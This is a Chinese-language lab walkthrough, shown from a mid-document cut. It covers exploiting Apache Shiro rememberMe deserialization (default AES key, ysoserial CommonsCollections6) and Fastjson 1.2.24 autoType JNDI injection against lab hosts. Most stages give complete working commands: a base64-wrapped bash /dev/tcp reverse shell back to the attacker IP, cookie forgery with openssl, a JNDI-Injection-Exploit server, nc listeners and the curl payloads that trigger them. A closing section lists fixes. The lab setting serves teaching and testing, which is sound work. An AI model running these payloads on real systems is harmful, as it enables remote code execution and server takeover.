KALI=172.16.11.xx
TARGET=http://172.16.11.xxx
# 原生bash反弹命令
CMD="bash -i >& /dev/tcp/$KALI/9999 0>&1"
# Base64编码规避特殊符号
B64=$(echo -n "$CMD" | base64 -w0)
# 适配Java的最终执行载荷
PAY="bash -c {echo,$B64}|{base64,-d}|bash"
# 高版本JDK解锁生成反弹序列化载荷
java \
--add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
--add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar ~/ysoserial-all.jar CommonsCollections6 "$PAY" > /tmp/cc6.ser
# 密钥、IV加密、Cookie拼接(标准化流程)
KEY=$(echo -n "kPH+bIxk5D2deZiIxcaaaA==" | base64 -d | xxd -p | tr -d '\n')
head -c 16 /dev/urandom > /tmp/iv.bin
IV=$(xxd -p /tmp/iv.bin | tr -d '\n')
openssl enc -aes-128-cbc -K $KEY -iv $IV -in /tmp/cc6.ser -out /tmp/enc.bin
COOKIE=$(cat /tmp/iv.bin /tmp/enc.bin | base64 -w0)
echo "rememberMe=$COOKIE"3. 核心难点精细化解读
Java的Runtime.exec() 是裸进程执行,不会加载Bash解释器,无法识别 >&、|、& 等Shell特殊符号,直接用原生反弹命令会静默执行失败,无报错、无反弹。
专属解决方案(必记):
将反弹命令Base64编码,消除所有特殊符号,让Java可以正常识别;
通过
echo 编码值 | base64 -d | bash二次解析,唤起Bash进程执行反弹命令,完美兼容Java执行机制。
4. 最终攻击操作
终端1:开启9999反弹端口监听(先执行)
nc -lvnp 9999终端2:发送恶意Cookie触发反弹(后执行)
curl -s -o /dev/null -b "rememberMe=粘贴新生成的COOKIE值" $TARGET5. 成功结果判定

监听终端自动接收靶机连接,获取交互式Shell,可正常执行 id、whoami、ls、pwd 等所有系统命令,漏洞利用全程完成。
完整实验链路因果总结
通过HTTP响应头探测到
rememberMe=deleteMe特征,确认靶机启用Shiro框架RememberMe功能,确定漏洞存在的基础条件;针对Kali高版本JDK模块化反射限制,添加全部
--add-opens解锁参数,成功通过ysoserial生成CC6恶意序列化二进制载荷;适配Shiro加密规范,将默认Base64密钥转为openssl支持的十六进制格式,搭配16位随机IV,完成AES-128-CBC加密与IV+密文拼接,伪造合法客户端Cookie;
优先使用curl外联载荷做前置探测,精准验证密钥有效性、CC6利用链可用性,规避后续反弹失败无法排错的问题;
针对Java原生命令执行的语法限制,通过Base64编码封装反弹Shell命令,解决特殊符号无法识别的问题;
攻击机提前开启端口监听,发送恶意Cookie触发靶机漏洞逻辑;
靶机后端依次完成Cookie Base64解码、AES密钥解密、Java对象反序列化,通过CC6漏洞链执行反弹命令,主动回连攻击机,最终获取靶机远程交互式RCE权限。
Fastjson 1.2.24 反序列化漏洞实验
A、基础框架名词
Fastjson:阿里开源 Java 高性能 JSON 序列化 / 反序列化组件,负责 JSON 字符串 ↔ Java 对象互相转换。
反序列化:将 JSON 文本还原为内存中 Java 对象的过程;序列化是对象转为 JSON。
Gadget(利用链 / 小工具类):程序中存在的原生 Java 类,类内部方法存在危险逻辑,可被攻击者利用触发恶意行为。
JNDI:Java 命名与目录接口,提供统一访问 LDAP/RMI 等目录服务的标准 API,核心方法
InitialContext.lookup()。LDAP:轻量目录访问协议;本实验作为中间人服务,传递恶意
Reference引用对象。Reference(引用对象):JNDI 中特殊对象,可携带远程 Class 下载地址,支持 JDK 远程加载字节码。
RCE 远程代码执行:攻击者在目标服务器执行任意操作系统命令,最高权限危害漏洞。
autoType 机制:Fastjson 拓展语法
@type,指定将 JSON 反序列化为哪一个 Java 类。
B、核心机制名词
autoType 无校验(漏洞根源)
Fastjson 1.2.24 版本没有黑白名单限制,允许
@type指定任意存在的 Java 类;高版本增加黑名单、SafeMode 限制。Setter 自动调用机制
Fastjson 完成对象实例化后,自动匹配 JSON 键名,反射调用对应
setXXX()赋值方法。JdbcRowSetImpl Gadget 核心逻辑
com.sun.rowset.JdbcRowSetImpl
setDataSourceName(url):接收 JNDI 地址,存入成员变量setAutoCommit(boolean):内部执行InitialContext.lookup(成员变量)强制前提:先赋值数据源地址,再执行 setAutoCommit,顺序不可颠倒。
trustURLCodebase
JDK 安全参数:
trustURLCodebase=true:允许 JDK 通过 HTTP 远程下载、加载外部 Class 字节码;trustURLCodebase=false:禁止远程加载恶意类(JDK8u191 及以上默认关闭)。Runtime.exec () 执行限制
Java 原生命令执行 API不会创建完整 Shell 环境,无法直接识别
>、&、管道|等 Shell 语法,需要特殊 Payload 封装。
C、攻击工具
JNDI-Injection-Exploit
作用:一键启动 LDAP/RMI/HTTP 三套服务;接收靶机 JNDI 连接、下发 Reference、托管恶意 Class;支持自定义执行命令。
curl
作用:构造 HTTP 请求,向靶机漏洞接口投递恶意 JSON Payload。
netcat(nc)
作用:开启端口监听,接收靶机反弹交互式 Shell。
Python 简易 HTTP 服务(可选探测)
作用:接收靶机出站 HTTP 请求,无损验证命令是否执行。
🎯重点:为什么推荐靶机环境使用 JDK8 开展 Fastjson 1.2.24 实验?
JDK8 版本内置
com.sun.rowset.JdbcRowSetImpl,原生拥有这条 Gadget 链;高版本 JDK 移除该类,链路直接失效。本实验靶机环境配置
trustURLCodebase=true,满足 LDAP Reference 远程加载恶意 Class 条件;JDK8u191 之后默认关闭该参数,经典 JNDI 远程加载利用方式失效。Fastjson 1.2.24 发布时期主流运行环境为 JDK8,贴合真实历史漏洞场景。
JDK8 完整支持
/dev/tcp反弹 Shell 依赖的网络调用逻辑,环境兼容性最优。
D、完整串联:整条链路组件协作流程

链路一句话总结:
攻击者利用 Fastjson 不受控@type实例化危险 Gadget,依靠类内 setter 触发 JNDI 查询;靶机访问恶意 LDAP 服务获取远程类地址,下载恶意字节码后执行任意系统命令。
E、实验步骤(分三阶段,标准教学格式)
阶段一:搭建攻击服务(JNDI 恶意服务 + 反弹监听)
1. 操作目的
启动 JNDI 利用套件,开启 LDAP、HTTP 服务,等待靶机发起 JNDI 连接;
生成适配 Java Runtime.exec 限制的反弹 Shell Payload;
开启 nc 端口监听,准备接收靶机反弹 Shell。
2. 完整执行命令
# 步骤1:生成反弹Shell封装Payload
RAW="bash -i >& /dev/tcp/172.16.11.26/4444 0>&1"
ENC=$(echo -n "$RAW" | base64 -w0)
FINAL="bash -c {echo,$ENC}|{base64,-d}|{bash,-i}"
echo $FINAL
# 步骤2:启动JNDI恶意服务
java \
--add-opens=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED \
--add-opens=java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens=java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "$FINAL" \
-A 172.16.11.26
# 新开终端执行监听
nc -lvnp 44443. 参数精细化解释
Payload 生成部分
RAW:原始交互式反弹 Shell;依靠 Linux/dev/tcp建立双向 TCP 连接echo -n:不输出换行符,防止 base64 编码多出无效字符base64 -w0:关闭自动换行,输出单行 base64 字符串FINAL:最终封装命令;{echo,xxx}使用逗号替代空格,规避 Java 参数切割问题,管道实现解码执行
JNDI 工具启动参数
--add-opens:高版本 Kali Java 模块权限放开,解决反射报错-jar xxx.jar:加载 JNDI 注入利用主程序-C "$FINAL"【核心】:定义靶机加载恶意类后将要执行的系统命令-A 172.16.11.26:指定攻击机 IP,服务对外公布本机地址
nc 监听参数
-l监听模式、-v详细日志、-n不解析域名、-p 4444指定监听端口
4. 核心判定原理
工具启动后自动监听 1389 (LDAP)、1099 (RMI)、8180 (HTTP);工具输出对应JDK8 trustURLCodebase=true分类下的 ldap 链接,作为后续 Payload 地址。
⚠️工具每次重启,链接末尾随机标识字符串刷新,发包必须使用本次生成地址。
5. 结果判定标准
成功状态:控制台打印监听端口日志,并输出可用ldap://172.16.11.26:1389/xxxx链接;
失败:端口占用、Java 版本不兼容、路径找不到 jar 包。
阶段二:发送恶意 JSON,触发靶机 Fastjson 反序列化漏洞
1. 操作目的
构造恶意 JSON 请求,投递至靶机/config/import接口,触发 Fastjson 反序列化,完整走完攻击链路。
2. 完整执行命令
curl -s -X POST "http://172.16.11.219/config/import" \
-H 'Content-Type: application/json' \
-d "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.16.11.26:1389/lswrtz\",\"autoCommit\":\"true\"}"3. 参数精细化解释
-s:静默模式,屏蔽 curl 多余进度输出-X POST:指定 HTTP 请求方法,目标接口仅接收 POST 提交数据请求 URL:靶机存在漏洞的业务接口地址
-H 'Content-Type: application/json'【关键】:声明请求体为 JSON;缺少该头,后端不会调用 Fastjson 解析,漏洞无法触发-d "..."HTTP 请求正文(恶意 JSON Payload)\"bash 环境下双引号转义语法"@type":"com.sun.rowset.JdbcRowSetImpl":强制 Fastjson 反射实例化 Gadget 类dataSourceName:赋值恶意 LDAP 地址,必须写在 autoCommit 前面autoCommit:"true":触发 lookup 调用;使用字符串 "true" 提升靶场兼容性
4. 核心判定原理
HTTP 请求到达靶机 -> SpringBoot 接收 JSON -> Fastjson 执行parseObject
识别@type创建对象,自上而下依次调用 setter;
执行setAutoCommit时触发 JNDI lookup,靶机主动连接攻击机 LDAP 服务,启动整条利用链路。
5. 结果判定标准
【最高标准】JNDI 工具日志:收到靶机 172.16.11.219 连接、下发 Reference、靶机请求 8180 下载 class
-> 证明漏洞链路成功触发
次级标准:nc 监听窗口收到靶机 TCP 连接,获取交互式 Shell -> RCE 完全成功
页面返回提示
导入失败:set property error:仅业务代码捕获 lookup 异常,不能判定漏洞未触发!
阶段三:完整实验链路因果总结
根源因果:Fastjson 1.2.24 无
@type管控,攻击者可控 JSON 实现任意类实例化;JDK8 内置JdbcRowSetImpl,setter 方法存在 JNDI 查询逻辑,两者组合形成完整反序列化 Gadget 链。链路递进因果
投递恶意 JSON -> Fastjson 实例化危险类 -> setter 触发 JNDI 查询 -> 靶机连接恶意 LDAP -> 获取远程类地址 -> 下载恶意字节码 -> Runtime.exec 执行系统命令。
本次实验现象因果复盘
攻击机日志观测到靶机成功访问 LDAP、请求恶意 Class,证明 Fastjson 漏洞触发流程完整打通;早期 curl 探测无回调,不是漏洞失效,是靶机环境命令 / 出网限制导致命令执行失败。
关键约束因果(实验易错点)
JSON 字段顺序颠倒 -> lookup 地址为空,无流量;
缺失
Content-Type请求头 -> 不进入 Fastjson 解析;JNDI 链接使用旧标识 -> LDAP 服务找不到对应引用;
直接使用原生反弹 Shell -> Runtime.exec 无法识别重定向语法,执行报错。
拓展:实验修复结论
升级 Fastjson 新版本,开启 SafeMode,限制 autoType;
业务过滤外部不可信 JSON 输入;
升级 JDK 版本,关闭
trustURLCodebase;服务器出站防火墙限制外连 LDAP、RMI 高危端口。